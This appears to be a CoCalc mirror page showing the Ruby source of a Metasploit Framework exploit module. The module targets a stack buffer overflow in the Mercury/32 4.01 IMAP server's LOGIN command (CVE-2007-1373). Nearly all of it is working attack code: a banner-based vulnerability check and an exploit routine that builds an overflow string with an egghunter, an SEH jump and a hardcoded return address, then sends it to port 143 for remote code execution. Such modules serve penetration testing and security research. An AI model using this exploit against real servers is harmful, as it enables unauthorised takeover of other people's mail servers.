CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mercury_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Remote::Egghunter
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
18
LOGIN verb. By sending a specially crafted login command, a buffer
19
is corrupted, and code execution is possible. This vulnerability was
20
discovered by (mu-b at digit-labs.org).
21
},
22
'Author' =>
23
[
24
'mu-b', # Discovery and exploit
25
'MC', # Metasploit module
26
'Ivan Racic' # Automatic targeting + egg hunter
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
['CVE', '2007-1373'],
32
['EDB', '3418']
33
],
34
'Privileged' => true,
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'thread'
38
},
39
'Payload' =>
40
{
41
'BadChars' => "\x00\x0a\x0d\x20",
42
'Space' => 2500
43
},
44
'Platform' => 'win',
45
'Targets' =>
46
[
47
['Windows Universal',
48
{
49
'Ret' => 0x00401460
50
}]
51
],
52
'DisclosureDate' => '2007-03-06',
53
'DefaultTarget' => 0))
54
register_options(
55
[
56
Opt::RPORT(143)
57
]
58
)
59
end
60
61
def check
62
connect
63
resp = sock.get_once
64
disconnect
65
return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}
66
Exploit::CheckCode::Safe
67
end
68
69
def exploit
70
hunter, egg = generate_egghunter(payload.encoded)
71
connect
72
sock.get_once
73
num = rand(255).to_i
74
sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"
75
sploit << rand_text_alpha_upper(347)
76
sploit << egg + payload.encoded
77
sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)
78
sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')
79
sploit << make_nops(20)
80
sploit << hunter
81
sock.put(sploit)
82
sock.get_once
83
print_status("Sending payload (#{sploit.length} bytes) ...")
84
handler
85
disconnect
86
end
87
end
88
89